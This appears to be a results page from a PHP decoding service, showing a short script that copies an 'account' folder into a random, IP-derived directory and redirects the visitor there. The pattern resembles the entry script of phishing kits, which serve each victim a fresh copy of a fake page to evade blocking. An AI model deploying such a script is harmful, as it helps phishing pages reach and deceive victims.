Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $A = rand(1000000000, 1000000000000) . $_SERVER['REMOTE_ADDR']; $B = substr(md5($A..

Decoded Output download

<?php 
$A = rand(1000000000, 1000000000000) . $_SERVER['REMOTE_ADDR']; 
$B = substr(md5($A), 0, 10); 
function recurse_copy($C, $B) 
{ 
    $E = opendir($C); 
    @mkdir($B); 
    while (false !== ($D = readdir($E))) { 
        if (($D != '.') && ($D != '..')) { 
            if (is_dir($C . '/' . $D)) { 
                recurse_copy($C . '/' . $D, $B . '/' . $D); 
            } else { 
                copy($C . '/' . $D, $B . '/' . $D); 
            } 
        } 
    } 
    closedir($E); 
} 
$C = "account"; 
recurse_copy($C, $B); 
header("location:" . $B . ""); 
exit; 
?>

Did this file decode correctly?

Original Code

<?php
$A = rand(1000000000, 1000000000000) . $_SERVER['REMOTE_ADDR'];
$B = substr(md5($A), 0, 10);
function recurse_copy($C, $B)
{
    $E = opendir($C);
    @mkdir($B);
    while (false !== ($D = readdir($E))) {
        if (($D != '.') && ($D != '..')) {
            if (is_dir($C . '/' . $D)) {
                recurse_copy($C . '/' . $D, $B . '/' . $D);
            } else {
                copy($C . '/' . $D, $B . '/' . $D);
            }
        }
    }
    closedir($E);
}
$C = "account";
recurse_copy($C, $B);
header("location:" . $B . "");
exit;
?>

Function Calls

rand 1

Variables

None

Stats

MD5 adefa5ef23fc74197bf3b1bcaf0f3873
Eval Count 0
Decode Time 76 ms